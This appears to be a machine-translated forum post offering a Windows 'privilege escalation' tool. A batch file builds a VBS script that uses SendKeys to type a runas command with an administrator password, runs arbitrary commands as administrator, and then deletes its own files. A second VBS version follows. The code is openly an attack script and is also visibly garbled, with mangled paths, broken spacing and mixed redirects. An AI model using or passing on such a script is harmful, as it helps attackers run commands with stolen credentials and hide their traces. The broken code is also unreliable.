VBS Privilege Escalation script (rare in the market)

@ Echo off
Echo dim WshShell, cmd >>% 3runas. vbs
Echo cmd = "%systemroot=system32cmd.exe"> % 3runas. vbs
Echo Set WshShell = WScript. CreateObject ("WScript. Shell") >>%3runas. vbs
Echo WshShell. Run cmd> % 3runas. vbs
Echo WScript. Sleep 500 >>%3runas. vbs
Echo WshShell. SendKeys "runas/user: Administrators \ % 1% 3Bcmd. bat" >>%3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo WScript. Sleep 1000 >>%3runas. vbs
Echo WshShell. SendKeys "% 2"> % 3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo WScript. Sleep 500 >>%3runas. vbs
Echo WshShell. SendKeys "exit"> % 3runas. vbs
Echo WshShell. SendKeys "{ENTER}" >>%3runas. vbs
Echo @ echo off> % 3Bcmd. bat
Echo % 4% 5% 6% 7% 8% 9 >>% 3Bcmd. bat
Echo del % 3runas. vbs >>%3bcmd. bat
Echo del % 3Bcmd. bat> % 3Bcmd. bat
% 3unas. vbs
Save as BAT
Dim WshShell, cmd
Cmd = "cmdsystemrootcmdsystem32cmd.exe"
Set WshShell = WScript. CreateObject ("WScript. Shell ")
WshShell. Run cmd
WScript. Sleep 500
WshShell. SendKeys "runas/user: Administrators username and password command"
WshShell. SendKeys "{ENTER }"
WScript. Sleep 1000
WshShell. SendKeys "% 2"
WshShell. SendKeys "{ENTER }"
WScript. Sleep 500
WshShell. SendKeys "exit"
WshShell. SendKeys "{ENTER }"
Save as VBS

Runas
It is only useful when the password is read through automatic login